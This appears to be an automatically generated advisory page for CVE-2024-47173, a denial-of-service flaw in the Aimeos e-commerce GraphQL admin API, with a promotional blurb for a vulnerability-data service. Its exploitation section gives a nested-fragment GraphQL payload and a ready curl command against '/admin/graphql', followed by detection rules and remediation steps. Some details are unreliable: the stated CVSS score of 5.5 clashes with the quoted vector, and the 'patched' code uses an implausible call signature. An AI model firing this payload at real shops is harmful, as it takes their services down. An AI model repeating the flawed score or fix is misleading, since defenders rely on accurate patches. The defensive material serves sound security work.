CVE-2024-47173
Executive Summary
CVE-2024-47173 is a denial of service (DoS) vulnerability affecting Aimeos, an open-source e-commerce framework. The flaw resides in the GraphQL API admin interface, specifically in SaaS and marketplace deployments running versions 2024.04 through 2024.07.1. An unauthenticated attacker can send specially crafted GraphQL queries that consume excessive server resources, leading to service unavailability. The vulnerability is classified as CWE-770 (Allocation of Resources Without Limits or Throttling) and has a CVSS score of 5.5 (Medium). The vendor has released version 2024.07.2 to address the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Aimeos is distributed as a PHP package via Composer. The vulnerability affects the core framework's GraphQL admin module. Organizations using Aimeos in SaaS or marketplace configurations should immediately review their dependency manifests (composer.json) and update to the patched version. No known supply chain compromise has been reported, but the unpatched component could be leveraged in broader attacks against e-commerce infrastructure.
CVSS Breakdown & Threat Level
- CVSS Score: 5.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
The low complexity and lack of authentication requirements make this vulnerability easily exploitable. While the impact is limited to availability, a sustained attack could cause significant operational disruption for e-commerce platforms.
Deep Dive & Mechanics
The vulnerability exists in the GraphQL API admin interface of Aimeos. GraphQL allows clients to request specific data structures, but without proper query depth and complexity limits, an attacker can craft deeply nested or highly complex queries that exhaust server resources (CPU, memory, database connections). In Aimeos, the admin interface does not enforce adequate rate limiting or query cost analysis, enabling unauthenticated users to send malicious queries that trigger resource exhaustion.
The core issue is the lack of validation on GraphQL query complexity. Aimeos uses the webonyx/graphql-php library, which supports query complexity analysis, but the framework did not implement it for the admin interface. An attacker can send a query with multiple nested fields, aliases, and fragments that cause the server to perform expensive database joins and object instantiations, leading to a denial of service.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2024.07.2):
// In GraphQL controller, no query complexity limit
$result = GraphQL::executeQuery($schema, $query);
Patched Code (2024.07.2):
// Added query complexity validation
$complexityAnalyzer = new QueryComplexity(100); // Max complexity 100
$result = GraphQL::executeQuery($schema, $query, null, null, null, null, null, $complexityAnalyzer);
The patch introduces a QueryComplexity validator that rejects queries exceeding a predefined complexity threshold, preventing resource exhaustion.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy Aimeos 2024.07.1 in a Docker container.
- Expose the GraphQL admin endpoint (typically
/admin/graphql). - Use a tool like
curlor Burp Suite to send malicious queries.
Exploit Payload:
query MaliciousQuery {
products {
...ProductFields
categories {
...CategoryFields
products {
...ProductFields
categories {
...CategoryFields
# Deeply nested to cause recursion
}
}
}
}
}
fragment ProductFields on Product {
id
name
price
description
images {
url
alt
}
attributes {
name
value
}
}
fragment CategoryFields on Category {
id
name
description
products {
...ProductFields
}
}
Execution:
curl -X POST http://target/admin/graphql \
-H "Content-Type: application/json" \
-d '{"query": "query MaliciousQuery { products { ...ProductFields categories { ...CategoryFields products { ...ProductFields categories { ...CategoryFields } } } } } fragment ProductFields on Product { id name price description images { url alt } attributes { name value } } fragment CategoryFields on Category { id name description products { ...ProductFields } }"}'
This query causes exponential resource consumption due to nested fragments.
Blue Team
Detection:
- Monitor GraphQL endpoints for queries with high depth (>10 levels) or excessive field requests.
- Use Web Application Firewall (WAF) rules to block queries with suspicious nesting patterns.
- Implement rate limiting on GraphQL endpoints.
Mitigation:
- Immediately upgrade to Aimeos 2024.07.2.
- If patching is delayed, disable the GraphQL admin interface or restrict access via IP whitelisting.
- Apply a WAF rule to limit query depth to 5 levels.
Indicators of Compromise (IOCs)
- Network: Unusually high number of POST requests to
/admin/graphqlwith large JSON payloads. - Logs: PHP error logs showing memory exhaustion or execution timeouts.
- Performance: Server CPU/memory spikes correlating with GraphQL requests.
- Query Patterns: GraphQL queries with depth > 10 or containing multiple nested fragments.
Detection Engineering
YARA Rule
rule CVE_2024_47173_GraphQL_DoS {
meta:
description = "Detects malicious GraphQL queries targeting Aimeos admin interface"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-47173"
strings:
$graphql_endpoint = "/admin/graphql"
$nested_fragment = /fragment\s+\w+\s+on\s+\w+\s*\{[^}]*\{[^}]*\{/
$high_depth = /(?:[^{]*\{){10,}/
condition:
$graphql_endpoint and ($nested_fragment or $high_depth)
}
Sigma Rule
title: CVE-2024-47173 - Aimeos GraphQL DoS Attempt
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential exploitation of CVE-2024-47173 via deep GraphQL queries
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/graphql'
cs-uri-query|contains: 'query'
condition: selection
timeframe: 5m
threshold: 100
falsepositives:
- Legitimate complex queries from admin users
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47173 Aimeos GraphQL DoS Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/graphql"; http.request_body; content:"query"; depth:1000; pcre:"/(?:[^{]*\{){10,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Aimeos to version 2024.07.2 or later.
- Workaround: If patching is not possible, disable the GraphQL admin interface or restrict access via firewall rules.
- Configuration: Implement query complexity limits using the
webonyx/graphql-phplibrary's built-in validation. - Monitoring: Enable logging for all GraphQL requests and set up alerts for unusual query patterns.
- WAF: Deploy Web Application Firewall rules to block queries with excessive depth or nested fragments.
Valters IT
This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.